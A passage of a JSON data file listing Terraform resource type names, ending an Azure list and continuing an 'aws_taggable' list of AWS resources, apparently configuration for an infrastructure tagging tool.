"azurerm_container_registry_task_schedule_run_now", "azurerm_container_registry_token_password", "azurerm_cosmosdb_sql_dedicated_gateway", "azurerm_dashboard_grafana", "azurerm_data_factory_flowlet_data_flow", "azurerm_databricks_access_connector", "azurerm_datadog_monitor", "azurerm_datadog_monitor_sso_configuration", "azurerm_datadog_monitor_tag_rule", "azurerm_digital_twins_time_series_database_connection", "azurerm_eventhub_namespace_schema_group", "azurerm_federated_identity_credential", "azurerm_healthcare_medtech_service", "azurerm_healthcare_medtech_service_fhir_destination", "azurerm_iotcentral_application_network_rule_set", "azurerm_iothub_device_update_account", "azurerm_iothub_device_update_instance", "azurerm_key_vault_certificate_contacts", "azurerm_kubernetes_fleet_manager", "azurerm_kusto_cluster_managed_private_endpoint", "azurerm_lab_service_plan", "azurerm_log_analytics_query_pack", "azurerm_log_analytics_query_pack_query", "azurerm_logz_sub_account_tag_rule", "azurerm_monitor_alert_processing_rule_action_group", "azurerm_monitor_alert_processing_rule_suppression", "azurerm_monitor_data_collection_endpoint", "azurerm_monitor_data_collection_rule_association", "azurerm_monitor_scheduled_query_rules_alert_v2", "azurerm_mssql_managed_instance_security_alert_policy", "azurerm_mssql_managed_instance_transparent_data_encryption", "azurerm_mssql_server_microsoft_support_auditing_policy", "azurerm_network_manager", "azurerm_nginx_certificate", "azurerm_nginx_configuration", "azurerm_nginx_deployment", "azurerm_orbital_contact_profile", "azurerm_orbital_spacecraft", "azurerm_postgresql_flexible_server_active_directory_administrator", "azurerm_private_dns_resolver", "azurerm_private_dns_resolver_dns_forwarding_ruleset", "azurerm_private_dns_resolver_forwarding_rule", "azurerm_private_dns_resolver_inbound_endpoint", "azurerm_private_dns_resolver_outbound_endpoint", "azurerm_private_dns_resolver_virtual_network_link", "azurerm_resource_deployment_script_azure_cli", "azurerm_resource_deployment_script_azure_power_shell", "azurerm_route_map", "azurerm_search_shared_private_link_service", "azurerm_sentinel_alert_rule_nrt", "azurerm_sentinel_data_connector_dynamics_365", "azurerm_sentinel_data_connector_iot", "azurerm_sentinel_data_connector_microsoft_threat_protection", "azurerm_sentinel_data_connector_office_365_project", "azurerm_sentinel_data_connector_office_atp", "azurerm_sentinel_data_connector_office_irm", "azurerm_sentinel_data_connector_office_power_bi", "azurerm_signalr_shared_private_link_resource", "azurerm_spring_cloud_accelerator", "azurerm_spring_cloud_application_live_view", "azurerm_spring_cloud_connection", "azurerm_spring_cloud_customized_accelerator", "azurerm_spring_cloud_dev_tool_portal", "azurerm_stream_analytics_stream_input_eventhub_v2", "azurerm_virtual_machine_packet_capture", "azurerm_virtual_machine_scale_set_packet_capture", "azurerm_vmware_netapp_volume_attachment", "azurerm_application_insights_standard_web_test", "azurerm_application_load_balancer", "azurerm_application_load_balancer_frontend", "azurerm_application_load_balancer_subnet_association", "azurerm_arc_kubernetes_cluster", "azurerm_arc_kubernetes_cluster_extension", "azurerm_arc_kubernetes_flux_configuration", "azurerm_arc_machine_extension", "azurerm_arc_private_link_scope", "azurerm_arc_resource_bridge_appliance", "azurerm_automanage_configuration", "azurerm_automation_powershell72_module", "azurerm_automation_python3_package", "azurerm_automation_variable_object", "azurerm_container_app", "azurerm_container_app_environment", "azurerm_container_app_environment_certificate", "azurerm_container_app_environment_dapr_component", "azurerm_container_app_environment_storage", "azurerm_cosmosdb_mongo_role_definition", "azurerm_cosmosdb_mongo_user_definition", "azurerm_cosmosdb_postgresql_cluster", "azurerm_cosmosdb_postgresql_coordinator_configuration", "azurerm_cosmosdb_postgresql_firewall_rule", "azurerm_cosmosdb_postgresql_node_configuration", "azurerm_cosmosdb_postgresql_role", "azurerm_cost_anomaly_alert", "azurerm_cost_management_scheduled_action", "azurerm_custom_ip_prefix", "azurerm_data_factory_credential_user_managed_identity", "azurerm_data_factory_dataset_azure_sql_table", "azurerm_databricks_virtual_network_peering", "azurerm_databricks_workspace_root_dbfs_customer_managed_key", "azurerm_dev_center", "azurerm_dev_center_project", "azurerm_elastic_san", "azurerm_email_communication_service", "azurerm_express_route_port_authorization", "azurerm_function_app_connection", "azurerm_graph_account", "azurerm_graph_services_account", "azurerm_iothub_endpoint_cosmosdb_account", "azurerm_iothub_file_upload", "azurerm_ip_group_cidr", "azurerm_key_vault_managed_hardware_security_module_role_assignment", "azurerm_key_vault_managed_hardware_security_module_role_definition", "azurerm_kubernetes_cluster_extension", "azurerm_kubernetes_cluster_trusted_access_role_binding", "azurerm_kubernetes_flux_configuration", "azurerm_kusto_cosmosdb_data_connection", "azurerm_lab_service_lab", "azurerm_lab_service_schedule", "azurerm_lab_service_user", "azurerm_log_analytics_workspace_table", "azurerm_machine_learning_datastore_blobstorage", "azurerm_machine_learning_datastore_datalake_gen2", "azurerm_machine_learning_datastore_fileshare", "azurerm_managed_lustre_file_system", "azurerm_marketplace_role_assignment", "azurerm_media_services_account_filter", "azurerm_mobile_network", "azurerm_mobile_network_attached_data_network", "azurerm_mobile_network_data_network", "azurerm_mobile_network_packet_core_control_plane", "azurerm_mobile_network_packet_core_data_plane", "azurerm_mobile_network_service", "azurerm_mobile_network_sim", "azurerm_mobile_network_sim_group", "azurerm_mobile_network_sim_policy", "azurerm_mobile_network_site", "azurerm_mobile_network_slice", "azurerm_monitor_alert_prometheus_rule_group", "azurerm_monitor_workspace", "azurerm_mssql_virtual_machine_availability_group_listener", "azurerm_mssql_virtual_machine_group", "azurerm_mysql_flexible_server_active_directory_administrator", "azurerm_netapp_volume_group_sap_hana", "azurerm_netapp_volume_quota_rule", "azurerm_network_function_azure_traffic_collector", "azurerm_network_function_collector_policy", "azurerm_network_manager_admin_rule", "azurerm_network_manager_admin_rule_collection", "azurerm_network_manager_connectivity_configuration", "azurerm_network_manager_deployment", "azurerm_network_manager_management_group_connection", "azurerm_network_manager_network_group", "azurerm_network_manager_scope_connection", "azurerm_network_manager_security_admin_configuration", "azurerm_network_manager_static_member", "azurerm_network_manager_subscription_connection", "azurerm_new_relic_monitor", "azurerm_new_relic_tag_rule", "azurerm_orbital_contact", "azurerm_palo_alto_local_rulestack", "azurerm_palo_alto_local_rulestack_certificate", "azurerm_palo_alto_local_rulestack_fqdn_list", "azurerm_palo_alto_local_rulestack_outbound_trust_certificate_association", "azurerm_palo_alto_local_rulestack_outbound_untrust_certificate_association", "azurerm_palo_alto_local_rulestack_prefix_list", "azurerm_palo_alto_local_rulestack_rule", "azurerm_palo_alto_next_generation_firewall_virtual_hub_local_rulestack", "azurerm_palo_alto_next_generation_firewall_virtual_hub_panorama", "azurerm_palo_alto_next_generation_firewall_virtual_network_local_rulestack", "azurerm_palo_alto_next_generation_firewall_virtual_network_panorama", "azurerm_palo_alto_virtual_network_appliance", "azurerm_pim_active_role_assignment", "azurerm_pim_eligible_role_assignment", "azurerm_private_endpoint_application_security_group_association", "azurerm_recovery_services_vault_resource_guard_association", "azurerm_resource_group_cost_management_view", "azurerm_resource_management_private_link", "azurerm_resource_management_private_link_association", "azurerm_security_center_server_vulnerability_assessments_setting", "azurerm_security_center_storage_defender", "azurerm_sentinel_alert_rule_anomaly_built_in", "azurerm_sentinel_alert_rule_anomaly_duplicate", "azurerm_sentinel_alert_rule_threat_intelligence", "azurerm_sentinel_data_connector_microsoft_threat_intelligence", "azurerm_sentinel_data_connector_threat_intelligence_taxii", "azurerm_sentinel_log_analytics_workspace_onboarding", "azurerm_sentinel_metadata", "azurerm_sentinel_threat_intelligence_indicator", "azurerm_signalr_service_custom_certificate", "azurerm_signalr_service_custom_domain", "azurerm_site_recovery_hyperv_network_mapping", "azurerm_site_recovery_hyperv_replication_policy", "azurerm_site_recovery_hyperv_replication_policy_association", "azurerm_site_recovery_replication_recovery_plan", "azurerm_site_recovery_services_vault_hyperv_site", "azurerm_site_recovery_vmware_replication_policy", "azurerm_site_recovery_vmware_replication_policy_association", "azurerm_spring_cloud_application_insights_application_performance_monitoring", "azurerm_spring_cloud_dynatrace_application_performance_monitoring", "azurerm_storage_account_local_user", "azurerm_storage_mover", "azurerm_storage_mover_agent", "azurerm_storage_mover_job_definition", "azurerm_storage_mover_project", "azurerm_storage_mover_source_endpoint", "azurerm_storage_mover_target_endpoint", "azurerm_subscription_cost_management_view", "azurerm_virtual_hub_routing_intent", "azurerm_virtual_machine_run_command", "azurerm_voice_services_communications_gateway", "azurerm_voice_services_communications_gateway_test_line", "azurerm_web_pubsub_custom_certificate", "azurerm_web_pubsub_custom_domain", "azurerm_advisor_suppression", "azurerm_ai_services", "azurerm_api_management_policy_fragment", "azurerm_arc_kubernetes_provisioned_cluster", "azurerm_arc_machine", "azurerm_arc_machine_automanage_configuration_assignment", "azurerm_chaos_studio_capability", "azurerm_chaos_studio_experiment", "azurerm_chaos_studio_target", "azurerm_cognitive_account_rai_blocklist", "azurerm_cognitive_account_rai_policy", "azurerm_communication_service_email_domain_association", "azurerm_container_app_custom_domain", "azurerm_container_app_environment_custom_domain", "azurerm_container_app_job", "azurerm_container_registry_cache_rule", "azurerm_container_registry_credential_set", "azurerm_dashboard_grafana_managed_private_endpoint", "azurerm_data_factory_credential_service_principal", "azurerm_data_protection_backup_instance_kubernetes_cluster", "azurerm_data_protection_backup_instance_mysql_flexible_server", "azurerm_data_protection_backup_instance_postgresql_flexible_server", "azurerm_data_protection_backup_policy_kubernetes_cluster", "azurerm_data_protection_backup_policy_mysql_flexible_server", "azurerm_data_protection_backup_policy_postgresql_flexible_server", "azurerm_dev_center_attached_network", "azurerm_dev_center_catalog", "azurerm_dev_center_dev_box_definition", "azurerm_dev_center_environment_type", "azurerm_dev_center_gallery", "azurerm_dev_center_network_connection", "azurerm_dev_center_project_environment_type", "azurerm_dev_center_project_pool", "azurerm_dynatrace_monitor", "azurerm_dynatrace_tag_rules", "azurerm_elastic_san_volume", "azurerm_elastic_san_volume_group", "azurerm_email_communication_service_domain", "azurerm_eventgrid_namespace", "azurerm_extended_custom_location", "azurerm_fabric_capacity", "azurerm_iotcentral_organization", "azurerm_key_vault_managed_hardware_security_module_key", "azurerm_key_vault_managed_hardware_security_module_key_rotation_policy", "azurerm_kubernetes_fleet_member", "azurerm_kubernetes_fleet_update_run", "azurerm_kubernetes_fleet_update_strategy", "azurerm_machine_learning_workspace_network_outbound_rule_fqdn", "azurerm_machine_learning_workspace_network_outbound_rule_private_endpoint", "azurerm_machine_learning_workspace_network_outbound_rule_service_tag", "azurerm_maintenance_assignment_dynamic_scope", "azurerm_mongo_cluster", "azurerm_mssql_job", "azurerm_mssql_job_schedule", "azurerm_mssql_job_target_group", "azurerm_netapp_account_encryption", "azurerm_netapp_backup_policy", "azurerm_netapp_backup_vault", "azurerm_oracle_autonomous_database", "azurerm_oracle_cloud_vm_cluster", "azurerm_oracle_exadata_infrastructure", "azurerm_postgresql_flexible_server_virtual_endpoint", "azurerm_redhat_openshift_cluster", "azurerm_redis_cache_access_policy", "azurerm_redis_cache_access_policy_assignment", "azurerm_restore_point_collection", "azurerm_role_management_policy", "azurerm_site_recovery_vmware_replicated_vm", "azurerm_spring_cloud_app_dynamics_application_performance_monitoring", "azurerm_spring_cloud_elastic_application_performance_monitoring", "azurerm_spring_cloud_new_relic_application_performance_monitoring", "azurerm_stack_hci_deployment_setting", "azurerm_stack_hci_extension", "azurerm_stack_hci_logical_network", "azurerm_stack_hci_marketplace_gallery_image", "azurerm_stack_hci_network_interface", "azurerm_stack_hci_storage_path", "azurerm_stack_hci_virtual_hard_disk", "azurerm_static_web_app", "azurerm_static_web_app_custom_domain", "azurerm_static_web_app_function_app_registration", "azurerm_storage_account_queue_properties", "azurerm_storage_account_static_website", "azurerm_storage_container_immutability_policy", "azurerm_storage_sync_server_endpoint", "azurerm_system_center_virtual_machine_manager_availability_set", "azurerm_system_center_virtual_machine_manager_cloud", "azurerm_system_center_virtual_machine_manager_server", "azurerm_system_center_virtual_machine_manager_virtual_machine_template", "azurerm_system_center_virtual_machine_manager_virtual_network", "azurerm_trusted_signing_account", "azurerm_video_indexer_account", "azurerm_virtual_desktop_scaling_plan_host_pool_association", "azurerm_virtual_machine_automanage_configuration_assignment", "azurerm_virtual_machine_gallery_application_assignment", "azurerm_virtual_machine_implicit_data_disk_from_source", "azurerm_virtual_machine_restore_point", "azurerm_virtual_machine_restore_point_collection", "azurerm_workloads_sap_discovery_virtual_instance", "azurerm_workloads_sap_single_node_virtual_instance", "azurerm_workloads_sap_three_tier_virtual_instance" ], "aws_taggable": [ "aws_acm_certificate", "aws_acmpca_certificate_authority", "aws_api_gateway_api_key", "aws_api_gateway_client_certificate", "aws_api_gateway_domain_name", "aws_api_gateway_rest_api", "aws_api_gateway_stage", "aws_api_gateway_usage_plan", "aws_api_gateway_vpc_link", "aws_apigatewayv2_api", "aws_apigatewayv2_domain_name", "aws_apigatewayv2_stage", "aws_apigatewayv2_vpc_link", "aws_accessanalyzer_analyzer", "aws_appmesh_mesh", "aws_appmesh_route", "aws_appmesh_virtual_node", "aws_appmesh_virtual_router", "aws_appmesh_virtual_service", "aws_appsync_graphql_api", "aws_appautoscaling_target", "aws_athena_workgroup", "aws_backup_plan", "aws_backup_vault", "aws_batch_compute_environment", "aws_batch_job_definition", "aws_batch_job_queue", "aws_budgets_budget", "aws_cloud9_environment_ec2", "aws_cloudformation_stack", "aws_cloudformation_stack_set", "aws_cloudfront_distribution", "aws_cloudhsm_v2_cluster", "aws_cloudtrail", "aws_cloudwatch_event_rule", "aws_cloudwatch_log_destination", "aws_cloudwatch_log_group", "aws_cloudwatch_metric_alarm", "aws_codebuild_project", "aws_codecommit_repository", "aws_codedeploy_app", "aws_codedeploy_deployment_group", "aws_codepipeline", "aws_codepipeline_webhook", "aws_codestarnotifications_notification_rule", "aws_cognito_identity_pool", "aws_cognito_user_pool", "aws_config_aggregate_authorization", "aws_config_config_rule", "aws_config_configuration_aggregator", "aws_cur_report_definition", "aws_dlm_lifecycle_policy", "aws_datapipeline_pipeline", "aws_datasync_agent", "aws_datasync_location_efs", "aws_datasync_location_nfs", "aws_datasync_location_s3", "aws_datasync_location_smb", "aws_datasync_task", "aws_dms_certificate", "aws_dms_endpoint", "aws_dms_event_subscription", "aws_dms_replication_instance", "aws_dms_replication_subnet_group", "aws_dms_replication_task", "aws_devicefarm_project", "aws_dx_connection", "aws_dx_hosted_private_virtual_interface_accepter", "aws_dx_hosted_public_virtual_interface_accepter", "aws_dx_hosted_transit_virtual_interface_accepter", "aws_dx_lag", "aws_dx_private_virtual_interface", "aws_dx_public_virtual_interface", "aws_dx_transit_virtual_interface", "aws_directory_service_directory", "aws_docdb_cluster", "aws_docdb_cluster_instance", "aws_docdb_cluster_parameter_group", "aws_docdb_subnet_group", "aws_dynamodb_table", "aws_dax_cluster", "aws_ami", "aws_ami_copy", "aws_ami_from_instance", "aws_ebs_snapshot", "aws_ebs_snapshot_copy", "aws_ebs_volume", "aws_ec2_capacity_reservation", "aws_ec2_client_vpn_endpoint", "aws_ec2_fleet", "aws_ec2_local_gateway_route_table_vpc_association", "aws_ec2_traffic_mirror_filter", "aws_ec2_traffic_mirror_session", "aws_ec2_traffic_mirror_target", "aws_ec2_transit_gateway", "aws_ec2_transit_gateway_peering_attachment", "aws_ec2_transit_gateway_peering_attachment_accepter", "aws_ec2_transit_gateway_route_table", "aws_ec2_transit_gateway_vpc_attachment", "aws_ec2_transit_gateway_vpc_attachment_accepter", "aws_eip", "aws_instance", "aws_key_pair", "aws_launch_template", "aws_placement_group", "aws_spot_fleet_request", "aws_spot_instance_request", "aws_ecr_repository", "aws_ecs_capacity_provider", "aws_ecs_cluster", "aws_ecs_service", "aws_ecs_task_definition", "aws_efs_access_point", "aws_efs_file_system", "aws_eks_cluster", "aws_eks_fargate_profile", "aws_eks_node_group", "aws_elasticache_cluster", "aws_elasticache_parameter_group", "aws_elasticache_replication_group", "aws_elasticache_subnet_group", "aws_elastic_beanstalk_application", "aws_elastic_beanstalk_application_version", "aws_elastic_beanstalk_environment", "aws_elb", "aws_lb", "aws_lb_listener", "aws_lb_listener_rule", "aws_lb_target_group", "aws_emr_cluster", "aws_elasticsearch_domain", "aws_fsx_lustre_file_system", "aws_fsx_windows_file_system", "aws_gamelift_alias", "aws_gamelift_build", "aws_gamelift_fleet", "aws_gamelift_game_session_queue", "aws_glacier_vault", "aws_globalaccelerator_accelerator", "aws_glue_catalog_database", "aws_glue_connection", "aws_glue_crawler", "aws_glue_job", "aws_glue_trigger", "aws_glue_workflow", "aws_guardduty_detector", "aws_guardduty_ipset", "aws_guardduty_threatintelset", "aws_iam_instance_profile", "aws_iam_openid_connect_provider", "aws_iam_policy", "aws_iam_role", "aws_iam_saml_provider", "aws_iam_server_certificate", "aws_iam_service_linked_role", "aws_iam_user", "aws_inspector_assessment_template", "aws_inspector_resource_group", "aws_iot_policy", "aws_iot_role_alias", "aws_iot_thing_type", "aws_iot_topic_rule", "aws_kms_external_key", "aws_kms_key", "aws_kinesis_analytics_application", "aws_kinesis_stream", "aws_kinesis_firehose_delivery_stream", "aws_kinesis_video_stream", "aws_lambda_event_source_mapping", "aws_lambda_function", "aws_licensemanager_license_configuration", "aws_lightsail_instance", "aws_lightsail_key_pair", "aws_mq_broker", "aws_mq_configuration", "aws_msk_cluster", "aws_media_convert_queue", "aws_media_package_channel", "aws_media_store_container", "aws_neptune_cluster", "aws_neptune_cluster_instance", "aws_neptune_cluster_parameter_group", "aws_neptune_event_subscription", "aws_neptune_parameter_group", "aws_neptune_subnet_group", "aws_opsworks_custom_layer", "aws_opsworks_ganglia_layer", "aws_opsworks_haproxy_layer", "aws_opsworks_java_app_layer", "aws_opsworks_memcached_layer", "aws_opsworks_mysql_layer", "aws_opsworks_nodejs_app_layer", "aws_opsworks_php_app_layer", "aws_opsworks_rails_app_layer", "aws_opsworks_stack", "aws_opsworks_static_web_layer", "aws_organizations_account", "aws_organizations_organizational_unit", "aws_organizations_policy", "aws_pinpoint_app", "aws_qldb_ledger", "aws_ram_resource_share", "aws_db_cluster_snapshot", "aws_db_event_subscription", "aws_db_instance", "aws_db_option_group", "aws_db_parameter_group", "aws_db_security_group", "aws_db_snapshot", "aws_db_subnet_group", "aws_rds_cluster", "aws_rds_cluster_endpoint", "aws_rds_cluster_instance", "aws_rds_cluster_parameter_group", "aws_rds_global_cluster", "aws_redshift_cluster", "aws_redshift_event_subscription", "aws_redshift_parameter_group", "aws_redshift_snapshot_copy_grant", "aws_redshift_snapshot_schedule", "aws_redshift_subnet_group", "aws_resourcegroups_group", "aws_route53_health_check", "aws_route53_zone", "aws_route53_resolver_endpoint", "aws_route53_resolver_rule", "aws_s3_bucket", "aws_s3_bucket_object", "aws_sns_topic", "aws_sqs_queue", "aws_ssm_activation", "aws_ssm_association", "aws_ssm_document", "aws_ssm_maintenance_window", "aws_ssm_parameter", "aws_ssm_patch_baseline", "aws_swf_domain", "aws_sagemaker_endpoint", "aws_sagemaker_endpoint_configuration", "aws_sagemaker_model", "aws_sagemaker_notebook_instance", "aws_secretsmanager_secret", "aws_servicecatalog_portfolio", "aws_service_discovery_http_namespace", "aws_service_discovery_private_dns_namespace", "aws_service_discovery_public_dns_namespace", "aws_service_discovery_service", "aws_shield_protection", "aws_sfn_activity", "aws_sfn_state_machine", "aws_storagegateway_cached_iscsi_volume", "aws_storagegateway_gateway", "aws_storagegateway_nfs_file_share", "aws_storagegateway_smb_file_share", "aws_transfer_server", "aws_transfer_user", "aws_customer_gateway", "aws_default_network_acl", "aws_default_route_table", "aws_default_security_group", "aws_default_subnet", "aws_default_vpc", "aws_default_vpc_dhcp_options", "aws_egress_only_internet_gateway", "aws_flow_log", "aws_internet_gateway", "aws_nat_gateway", "aws_network_acl", "aws_network_interface", "aws_route_table", "aws_security_group", "aws_subnet", "aws_vpc", "aws_vpc_dhcp_options", "aws_vpc_endpoint", "aws_vpc_endpoint_service", "aws_vpc_peering_connection", "aws_vpc_peering_connection_accepter", "aws_vpn_connection", "aws_vpn_gateway", "aws_waf_rate_based_rule", "aws_waf_rule", "aws_waf_rule_group", "aws_waf_web_acl", "aws_wafregional_rate_based_rule", "aws_wafregional_rule", "aws_wafregional_rule_group", "aws_wafregional_web_acl", "aws_wafv2_ip_set", "aws_wafv2_regex_pattern_set", "aws_wafv2_rule_group", "aws_wafv2_web_acl", "aws_workspaces_directory", "aws_workspaces_ip_group", "aws_workspaces_workspace", "aws_xray_sampling_rule", "aws_alb", "aws_alb_listener", "aws_alb_listener_rule", "aws_alb_target_group", "aws_appmesh_gateway_route", "aws_appmesh_virtual_gateway", "aws_cloudwatch_composite_alarm", "aws_cloudwatch_event_bus", "aws_codeartifact_domain", "aws_codeartifact_repository", "aws_codebuild_report_group", "aws_codestarconnections_connection", "aws_datasync_location_fsx_windows_file_system", "aws_db_proxy", "aws_ec2_carrier_gateway", "aws_ec2_managed_prefix_list", "aws_fms_policy", "aws_glue_dev_endpoint", "aws_glue_ml_transform", "aws_glue_registry", "aws_glue_schema", "aws_guardduty_filter", "aws_imagebuilder_component", "aws_imagebuilder_distribution_configuration", "aws_imagebuilder_image", "aws_imagebuilder_image_pipeline", "aws_imagebuilder_image_recipe", "aws_imagebuilder_infrastructure_configuration", "aws_kinesisanalyticsv2_application", "aws_lambda_code_signing_config", "aws_networkfirewall_firewall", "aws_networkfirewall_firewall_policy", "aws_networkfirewall_rule_group", "aws_prometheus_workspace", "aws_route53_resolver_query_log_config", "aws_s3_object_copy", "aws_s3control_bucket", "aws_sagemaker_app_image_config", "aws_sagemaker_code_repository", "aws_sagemaker_domain", "aws_sagemaker_feature_group", "aws_sagemaker_image", "aws_sagemaker_model_package_group", "aws_sagemaker_user_profile", "aws_serverlessapplicationrepository_cloudformation_stack", "aws_signer_signing_profile", "aws_ssoadmin_permission_set", "aws_storagegateway_stored_iscsi_volume", "aws_storagegateway_tape_pool", "aws_synthetics_canary", "aws_xray_group", "aws_ecrpublic_repository", "aws_eks_addon", "aws_mwaa_environment", "aws_route53_resolver_firewall_domain_list", "aws_route53_resolver_firewall_rule_group", "aws_sagemaker_app", "aws_timestreamwrite_database", "aws_amplify_app", "aws_amplify_branch", "aws_appconfig_application", "aws_appconfig_configuration_profile", "aws_appconfig_deployment", "aws_appconfig_deployment_strategy", "aws_appconfig_environment", "aws_apprunner_auto_scaling_configuration_version", "aws_apprunner_connection", "aws_apprunner_service", "aws_appstream_fleet", "aws_appstream_image_builder", "aws_appstream_stack", "aws_batch_scheduling_policy", "aws_budgets_budget_action", "aws_chime_voice_connector", "aws_cloudwatch_metric_stream", "aws_connect_contact_flow", "aws_connect_hours_of_operation", "aws_connect_instance", "aws_datasync_location_fsx_lustre_file_system", "aws_datasync_location_hdfs", "aws_db_proxy_endpoint", "aws_detective_graph", "aws_devicefarm_device_pool", "aws_devicefarm_network_profile", "aws_ebs_snapshot_import", "aws_ec2_host", "aws_ecs_task_set", "aws_eks_identity_provider_config", "aws_elasticache_user", "aws_elasticache_user_group", "aws_emr_studio", "aws_fsx_backup", "aws_fsx_ontap_file_system", "aws_fsx_ontap_storage_virtual_machine", "aws_fsx_ontap_volume", "aws_fsx_openzfs_file_system", "aws_fsx_openzfs_snapshot", "aws_fsx_openzfs_volume", "aws_iot_authorizer", "aws_iot_thing_group", "aws_kms_replica_external_key", "aws_kms_replica_key", "aws_macie2_classification_job", "aws_macie2_custom_data_identifier", "aws_macie2_findings_filter", "aws_macie2_member", "aws_memorydb_acl", "aws_memorydb_cluster", "aws_memorydb_parameter_group", "aws_memorydb_subnet_group", "aws_memorydb_user", "aws_mskconnect_custom_plugin", "aws_mskconnect_worker_configuration", "aws_neptune_cluster_endpoint", "aws_quicksight_data_source", "aws_route53_resolver_firewall_rule_group_association", "aws_route53recoveryreadiness_cell", "aws_route53recoveryreadiness_readiness_check", "aws_route53recoveryreadiness_recovery_group", "aws_route53recoveryreadiness_resource_set", "aws_sagemaker_device_fleet", "aws_sagemaker_flow_definition", "aws_sagemaker_human_task_ui", "aws_sagemaker_studio_lifecycle_config", "aws_sagemaker_workteam", "aws_schemas_discoverer", "aws_schemas_registry", "aws_schemas_schema", "aws_servicecatalog_product", "aws_servicecatalog_provisioned_product", "aws_shield_protection_group", "aws_storagegateway_file_system_association", "aws_timestreamwrite_table", "aws_vpc_ipam", "aws_vpc_ipam_pool", "aws_vpc_ipam_scope", "aws_appflow_flow", "aws_appintegrations_event_integration", "aws_applicationinsights_application", "aws_apprunner_observability_configuration", "aws_apprunner_vpc_connector", "aws_athena_data_catalog", "aws_backup_framework", "aws_backup_report_plan", "aws_ce_anomaly_monitor", "aws_ce_anomaly_subscription", "aws_ce_cost_category", "aws_cloudtrail_event_data_store", "aws_connect_contact_flow_module", "aws_connect_queue", "aws_connect_quick_connect", "aws_connect_routing_profile", "aws_connect_security_profile", "aws_connect_user", "aws_connect_user_hierarchy_group", "aws_connect_vocabulary", "aws_dataexchange_data_set", "aws_dataexchange_revision", "aws_datasync_location_fsx_openzfs_file_system", "aws_db_snapshot_copy", "aws_devicefarm_instance_profile", "aws_devicefarm_test_grid_project", "aws_docdb_event_subscription", "aws_ec2_network_insights_path", "aws_ec2_transit_gateway_connect", "aws_ec2_transit_gateway_connect_peer", "aws_ec2_transit_gateway_multicast_domain", "aws_emrcontainers_virtual_cluster", "aws_emrserverless_application", "aws_fis_experiment_template", "aws_fsx_data_repository_association", "aws_gamelift_game_server_group", "aws_gamelift_script", "aws_grafana_workspace", "aws_iam_virtual_mfa_device", "aws_imagebuilder_container_recipe", "aws_iot_provisioning_template", "aws_kendra_faq", "aws_kendra_index", "aws_kendra_query_suggestions_block_list", "aws_kendra_thesaurus", "aws_keyspaces_keyspace", "aws_keyspaces_table", "aws_lightsail_container_service", "aws_lightsail_database", "aws_location_geofence_collection", "aws_location_map", "aws_location_place_index", "aws_location_route_calculator", "aws_location_tracker", "aws_memorydb_snapshot", "aws_mskconnect_connector", "aws_networkmanager_connection", "aws_networkmanager_device", "aws_networkmanager_global_network", "aws_networkmanager_link", "aws_networkmanager_site", "aws_opensearch_domain", "aws_opsworks_ecs_cluster_layer", "aws_qldb_stream", "aws_redshift_hsm_client_certificate", "aws_redshift_hsm_configuration", "aws_redshift_usage_limit", "aws_redshiftserverless_namespace", "aws_rolesanywhere_profile", "aws_rolesanywhere_trust_anchor", "aws_route53domains_registered_domain", "aws_rum_app_monitor", "aws_s3_object", "aws_sagemaker_project", "aws_transcribe_medical_vocabulary", "aws_transcribe_vocabulary", "aws_transcribe_vocabulary_filter", "aws_transfer_workflow", "aws_appconfig_extension", "aws_apprunner_vpc_ingress_connection", "aws_auditmanager_control", "aws_auditmanager_framework", "aws_codepipeline_custom_action_type", "aws_comprehend_document_classifier", "aws_comprehend_entity_recognizer", "aws_connect_phone_number", "aws_directory_service_region", "aws_dms_s3_endpoint", "aws_dynamodb_table_replica", "aws_ec2_network_insights_analysis", "aws_ec2_transit_gateway_policy_table", "aws_evidently_feature", "aws_evidently_project", "aws_evidently_segment", "aws_fsx_file_cache", "aws_ivs_channel", "aws_ivs_playback_key_pair", "aws_ivs_recording_configuration", "aws_ivschat_logging_configuration", "aws_ivschat_room", "aws_kendra_data_source", "aws_lightsail_certificate", "aws_lightsail_disk", "aws_lightsail_lb", "aws_medialive_channel", "aws_medialive_input", "aws_medialive_input_security_group", "aws_medialive_multiplex", "aws_msk_serverless_cluster", "aws_networkmanager_connect_attachment", "aws_networkmanager_core_network", "aws_networkmanager_site_to_site_vpn_attachment", "aws_networkmanager_transit_gateway_peering", "aws_networkmanager_transit_gateway_route_table_attachment", "aws_networkmanager_vpc_attachment", "aws_rds_reserved_instance", "aws_redshiftserverless_workgroup", "aws_resourceexplorer2_index", "aws_s3control_storage_lens_configuration", "aws_sagemaker_space", "aws_scheduler_schedule_group", "aws_sesv2_configuration_set", "aws_sesv2_dedicated_ip_pool", "aws_sesv2_email_identity", "aws_transcribe_language_model", "aws_auditmanager_assessment", "aws_chimesdkmediapipelines_media_insights_pipeline_configuration", "aws_chimesdkvoice_sip_media_application", "aws_chimesdkvoice_voice_profile_domain", "aws_cleanrooms_collaboration", "aws_cleanrooms_configured_table", "aws_codeguruprofiler_profiling_group", "aws_codegurureviewer_repository_association", "aws_customerprofiles_domain", "aws_datasync_location_azure_blob", "aws_datasync_location_fsx_ontap_file_system", "aws_datasync_location_object_storage", "aws_dms_replication_config", "aws_docdbelastic_cluster", "aws_ec2_instance_connect_endpoint", "aws_eks_access_entry", "aws_eks_pod_identity_association", "aws_elasticache_serverless_cache", "aws_emrcontainers_job_template", "aws_evidently_launch", "aws_finspace_kx_cluster", "aws_finspace_kx_database", "aws_finspace_kx_dataview", "aws_finspace_kx_environment", "aws_finspace_kx_scaling_group", "aws_finspace_kx_user", "aws_finspace_kx_volume", "aws_globalaccelerator_custom_routing_accelerator", "aws_glue_data_quality_ruleset", "aws_imagebuilder_workflow", "aws_internetmonitor_monitor", "aws_iot_billing_group", "aws_iot_ca_certificate", "aws_iot_domain_configuration", "aws_lb_trust_store", "aws_lexv2models_bot", "aws_lightsail_bucket", "aws_lightsail_distribution", "aws_msk_replicator", "aws_msk_vpc_connection", "aws_networkmanager_connect_peer", "aws_oam_link", "aws_oam_sink", "aws_opensearchserverless_collection", "aws_organizations_resource_policy", "aws_pipes_pipe", "aws_prometheus_scraper", "aws_quicksight_folder", "aws_quicksight_vpc_connection", "aws_rbin_rule", "aws_rds_custom_db_engine_version", "aws_redshift_cluster_snapshot", "aws_resourceexplorer2_view", "aws_s3control_access_grant", "aws_s3control_access_grants_instance", "aws_s3control_access_grants_location", "aws_sagemaker_data_quality_job_definition", "aws_sagemaker_monitoring_schedule", "aws_sagemaker_pipeline", "aws_securitylake_data_lake", "aws_sesv2_contact_list", "aws_ssmcontacts_contact", "aws_ssmincidents_replication_set", "aws_ssmincidents_response_plan", "aws_ssoadmin_application", 